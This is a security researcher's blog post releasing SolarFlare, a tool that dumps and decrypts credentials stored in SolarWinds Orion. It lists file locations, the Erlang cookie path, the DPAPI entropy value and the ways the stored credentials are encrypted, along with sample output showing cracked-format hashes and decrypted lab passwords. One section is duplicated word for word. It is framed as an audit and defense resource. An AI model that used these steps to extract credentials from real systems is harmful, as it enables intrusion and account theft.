SolarFlare Release: Password Dumper for SolarWinds Orion

1. The accounts stored in an organization’s SolarWinds Orion may be underestimated. I recently did a pentest for a firm that had over 200 credentials stored in their SolarWinds Orion database, but only 15 showed in the interface (the SolarWinds credential interface is complicated with sections for each connection type and different panes for each, it may also not properly delete credentials from the database when “removed” from the interface, I am unsure).
2. The re-infection possibilities, from one-time access to SolarWinds Orion database and file system, is being underestimated. Attackers can directly re-infect SolarWinds Orion systems through Erlang and other vulnerabilities. Rotating these credentials is HARD.
3. Not enough is being talked about on how to properly secure SolarWinds Orion machines.

I’m releasing this tool after a lot of thought surrounding the SolarWinds/FireEye breach. It’s been in development since 2015. The reason I developed SolarFlare in the first place was to assist in my Red Team engagements. The main reason to release the tool publicly, right now, is so businesses can identify one facet of the possible severity of this breach, using a simple command-line tool they can run on their own SolarWinds Orion machines. SolarFlare can help identify the accounts that may have been compromised during this breach.

SolarWinds is not an easy application to quickly identify which credentials are stored in the database. SolarFlare parses all of the needed pieces, connects to the database, and decrypts (where possible) all of the account data stored in the database. I have seen everything from regular Active Directory accounts, to AWS/Azure/Meraki API keys, and Cisco enable passwords.

Now that I’ve mentioned their encryption, before we start going down this rabbit hole, I must say that SolarWinds did a fantastic job at doing as much cryptography as possible to ensure that credential theft is not trivial. They had even made more improvements since 2015 when I first started researching the product. However, at the end of the day, SolarWinds Orion needs to have the ability to use the credentials in clear text, so no matter how much encryption they add, it will only ever be obfuscation.

History

In 2016 I gave two talks, one at BSidesPhilly and the other at KiwiCon2016, down in New Zealand. These talks focused on the credentials I was able to steal out of SolarWinds Orion. At this time, I did not release any tooling to exploit access to SolarWinds, but I did talk about how reversing the credentials could easily be done due to the use of an exportable self-generated RSA key.

Video from BSidesPhily 2016

Erlang

Fast forward to 2018, I released a blog post, again about SolarWinds, where I talked more about the severe effects of exploiting SolarWinds Orion. SolarWinds makes use of RabbitMQ, which uses Erlang (a distributed programming language). An attacker with file-level access to the SolarWinds machine, either through code execution, access to backup files, or just a poorly permissioned share, could steal the file .erlang.cookie from the ProgramData directory and have SYSTEM level code execution to this day.

Changing this “cookie” is non-trivial. You there isn’t a method in the SolarWinds Orion interface to do so. I have been successful with just shutting down all of the SolarWinds services, alerting the string in the file, and starting the services back up, but I cannot guarantee this won’t break things in more robust corporate installs. A more complete method of defense is to simply Block port 25672/tcp inbound to your SolarWinds Orion box. This is the port that can be remotely accessed for remote code execution if an attacker has stolen the .erlang.cookie file.

HD Moore

A few months later, HD Moore released a blog post on the Atradis blog talking about the password hashing in SolarWinds Orion as well as how to decrypt the password from the SolarWinds Orion database. He also released the tools on Github to do so.

Also, the password cracking tools Hashcat and John the Ripper added cracking capabilities for SolarWinds Orion password hashes.

NPM

In 2019, VeraSprite researchers released CVE-2019-8917. This vulnerability affected SolarWinds Orion 12.3 and the WCF protocol it incorporated for communications. There was a blog post, and a short video demonstrating the vulnerability. This vulnerability resulted in remote code execution as SYSTEM on the SolarWinds machine but does require valid credentials for the SolarWinds Orion interface.

Present Day

Today I am releasing SolarFlare. SolarFlare is a Authentication Audit / Password dumping tool originally designed for Red Team engagements, but can be used to audit the exposure SolarWinds Orion systems pose to an organization. Below I will walk through each section of the output from SolarFlare. There are no options or arguments.

Erlang Cookie

This function simply reads the .erlang.cookie file from the ProgramData directory where it’s stored. You can find this file at %PROGRAMDATA%\SolarWinds\Orion\RabbitMQ\.erlang.cookie. It is a randomized string created during installation. This string does not change as far as I have observed. This string is also stored in the database.

============================================| Collecting RabbitMQ Erlang Cookie|       Erlang Cookie: abcdefg12456789abcde

SWNetPerfMon.DB

SolarWinds Orion stores it’s credentials for the database in a file called SWNetPerfMon.DB which can be found in the installation directory (usually Program Files). The scary piece of this file is that no matter how many software updates, or migrations of the data happen (from SQL server to SQL server), it stores all of the previous credentials, databases, and server names of the previous setups in this file.

There is also a newer file called SolarWindsDatabaseAccessCredential.json that can be found the ProgramData again: %PROGRAMDATA%\SolarWinds\CredentialStorage\SolarWindsDatabaseAccessCredential.json. This file is where the username and password are sometimes stored for the database.

The credentials are encrypted with the SYSTEM/LocalMachine DPAPI master keys, this time with a static set of entropy: “20120309”. I have never been able to find the significance of this date in regards to SolarWinds. If anyone knows, please let me know, I’m super curious.

============================================| Collecting SolarWinds Certificate|       SolarWinds Orion Certificate Found!|       Subject Name: CN=SolarWinds-Orion|       Thumbprint  : BE85C6C3AACA8840E166187B6AB8C6BA9DA8DE80|       Password    : alcvabkajp4|       Private Key : MIIKHwIBAzCCCd8GCSqGSIb3DQEHAaCCCdAEggn<snip>

Connecting to the Database

The code then attempts to automatically connect to the databases that it’s found and find the most current SolarWinds database.

Exporting the Key Table

I currently haven’t put in enough time to identify what this table is used for, but it looks to me like it may be the private key for the RSA key, and the DAT file, encrypted in a different way. If this is the case, then you may not even need access to the SolarWinds Orion server itself, possibly you’d just need access to the database where SolarWinds stores it’s data.

| Collecting Default.DAT file|       Encrypted: 01000000D08C9DDF0115D<snip>|       Decrypted: 5D3CE5B08C9201E636BCF<snip>

Exporting the Accounts Table

The accounts table is used to store credentials used to access the SolarWinds interface. It has changed a lot since my initial research. There used to be a column called “Password” that stored a credential that looked like this: 11-417578424799297-9-6260697430795685763067724. Many current installation still store this passwords in this manner, if it wasn’t a clean install. This is simple encoding with long division.

If you are interested in the code you can see it here

At the time of this writing there is a pull request to add the newer version of password hashing that SolarWinds uses to store credentials used to access SolarWinds.

The major concern about SolarWinds Orion accounts is that it upper cases all account passwords. This means that the key space to attempt to crack them is 26 characters smaller (without the lowercase characters). This means that even though SolarWinds uses PBDKF12, 1000 iterations of it, and SHA512 hashing, cracking the account passwords is exponentially easier and faster.

Admin and Guest are common across installs. The guest account used to be enabled by default, which would allow attackers to gain access to the interface. This is no longer the case. There are two new accounts _system which has it’s password stored in the credential database, and iprequest which I believe is a result of the one of the features I installed on the VM. The _system account is enabled by default and is an administrator. Even though this account has a randomized password, it being stored in the database means I can decrypt it, instead of trying to crack it.

I currently haven’t put in enough time to identify what this table is used for, but it looks to me like it may be the private key for the RSA key, and the DAT file, encrypted in a different way. If this is the case, then you may not even need access to the SolarWinds Orion server itself, possibly you’d just need access to the database where SolarWinds stores it’s data.

Exporting the Accounts Table

The accounts table is used to store credentials used to access the SolarWinds interface. It has changed a lot since my initial research. There used to be a column called “Password” that stored a credential that looked like this: 11-417578424799297-9-6260697430795685763067724. Many current installation still store this passwords in this manner, if it wasn’t a clean install. This is simple encoding with long division.

If you are interested in the code you can see it here

At the time of this writing there is a pull request to add the newer version of password hashing that SolarWinds uses to store credentials used to access SolarWinds.

The major concern about SolarWinds Orion accounts is that it upper cases all account passwords. This means that the key space to attempt to crack them is 26 characters smaller (without the lowercase characters). This means that even though SolarWinds uses PBDKF12, 1000 iterations of it, and SHA512 hashing, cracking the account passwords is exponentially easier and faster.

Admin and Guest are common across installs. The guest account used to be enabled by default, which would allow attackers to gain access to the interface. This is no longer the case. There are two new accounts _system which has it’s password stored in the credential database, and iprequest which I believe is a result of the one of the features I installed on the VM. The _system account is enabled by default and is an administrator. Even though this account has a randomized password, it being stored in the database means I can decrypt it, instead of trying to crack it.

============================================| DB - Exporting Accounts Table            ||        Account: _system|        Password Hash: qE9ClH<snip>|        Password Salt: XgtO8XNWc/KiIdglGOnxvw==|        Hashcat Mode 12501: $solarwinds$1$XgtO8XNWc/KiIdglGOnxvw==$qE9ClHDI<snip>|        Account Enabled: Y|        Allow Admin: Y|        Last Login: 12/15/2020--------------------------------------------|        Account: Admin|        Password Hash: IfAEwA7LXxOAH7ORCG0ZYeq<snip>|        Password Salt: jNhn3i2XtHfY8y4EOmNdiQ==|        Hashcat Mode 12501: $solarwinds$1$jNhn3i2XtHfY8y4EOmNdiQ==$IfAEwA7LXxOAH7ORCG0ZY<snip>|        Account Enabled: Y|        Allow Admin: Y|        Last Login: 12/02/2020--------------------------------------------|        Account: Guest|        Password Hash: Y/EMuOWMNfCd<snip>|        Salt is NULL in DB so lowercase username is used: guest|        Hashcat Mode 12500: $solarwinds$0$guest$Y/EMuOWMNfCd<snip>|        Account Enabled: N|        Allow Admin: N|        Last Login: 12/30/1899--------------------------------------------|        Account: iprequest|        Password Hash: 7zskGWFukuHuwQ<snip>|        Salt is NULL in DB so lowercase username is used: iprequest|        Hashcat Mode 12500: $solarwinds$0$iprequest$7zskGWFukuHuwQ<snip>|        Account Enabled: Y|        Allow Admin: N|        Last Login: 01/01/1900--------------------------------------------

Exporting the Credentials Table

Finally the actual credential table. I’ve observed 4 different methods for storing credentials here:

1. Clear text (as is the case for SNMP community strings)
2. Encrypted with the RSA key (this is the older method, being phased out it appears)
3. Encrypted with AES using the default.dat file as the decryption key
4. Encrypted using Microsoft’s XML encryption/decryption method.

SolarFlare recognizes all of them, and will attempt to decrypt them accordingly. This is where you will find AWS API keys, vCenter credentials, SNMPv3 credentials, Cisco router and switch passwords and enable passwords. This is where the scary bits are.

============================================| DB - Exporting Credentials Table         |------------------1--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: _system|       Desc: Cortex Integration|       Owner: CORE|               Password: 9dM-5pH/&Y(KU-v|               Username: _system------------------1--------------------------------------------2--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: JobEngine|       Desc: Job Engine router TCP endpoint credentials|       Owner: JobEngine|               Password: +fBByxJFsK+da6ZN2wKvLTKC/PWUzFlfIvvwtW/XqvA=|               Username: KWPPhiYJmE8+fRF6qlkxulK2tf3t79TQOAk1ywBMVOI=------------------2--------------------------------------------3--------------------------| Type: SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV2| Name: public|       Desc:|       Owner: Orion|               Community: public------------------3--------------------------------------------4--------------------------| Type: SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV2| Name: private|       Desc:|       Owner: Orion|               Community: private------------------4--------------------------------------------5--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: Erlang cookie|       Desc: Erlang clustering cookie|       Owner: Erlang|               Password: abcdefg12456789abcde|               Username: ignored------------------5--------------------------------------------6--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: RabbitMQ user account|       Desc: RabbitMQ user account for Message Bus|       Owner: RabbitMQ|               Password: LtVmCrzlTNyWmwxpxJMi|               Username: orion------------------6--------------------------------------------7--------------------------| Type: SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3| Name: User: snmpv3user, Context: thisisthecontext|       Desc:|       Owner: Orion|               AuthenticationKeyIsPassword: false|               AuthenticationPassword: ASDqwe123|               AuthenticationType: SHA1|               Context: thisisthecontext|               PrivacyKeyIsPassword: false|               PrivacyPassword: ASDqwe123|               PrivacyType: AES256|               UserName: snmpv3user------------------7--------------------------------------------8--------------------------| Type: SolarWinds.Orion.Core.Models.Credentials.SnmpCredentialsV3| Name: User: rootsnmpv3, Context: newcontextv3|       Desc:|       Owner: Orion|               AuthenticationKeyIsPassword: true|               AuthenticationPassword: ASDqwe123|               AuthenticationType: MD5|               Context: newcontextv3|               PrivacyKeyIsPassword: true|               PrivacyPassword: ASDqwe123|               PrivacyType: AES128|               UserName: rootsnmpv3------------------8--------------------------------------------9--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: DomainAdmin|       Desc:|       Owner: Orion|               Password: ASDqwe123|               Username: SITTINGDUCK\uberuser------------------9--------------------------------------------10--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: DomainJoiner|       Desc:|       Owner: Orion|               Password: ASDqwe123|               Username: superadmin@sittingduck.info------------------10--------------------------------------------11--------------------------| Type: SolarWinds.Orion.Core.SharedCredentials.Credentials.UsernamePasswordCredential| Name: vesxi|       Desc: vesxi|       Owner: VIM|               Password: ASDqwe123|               Username: root------------------11--------------------------========================================================================================

Reference:https://securityboulevard.com/2020/12/solarflare-release-password-dumper-for-solarwinds-orion/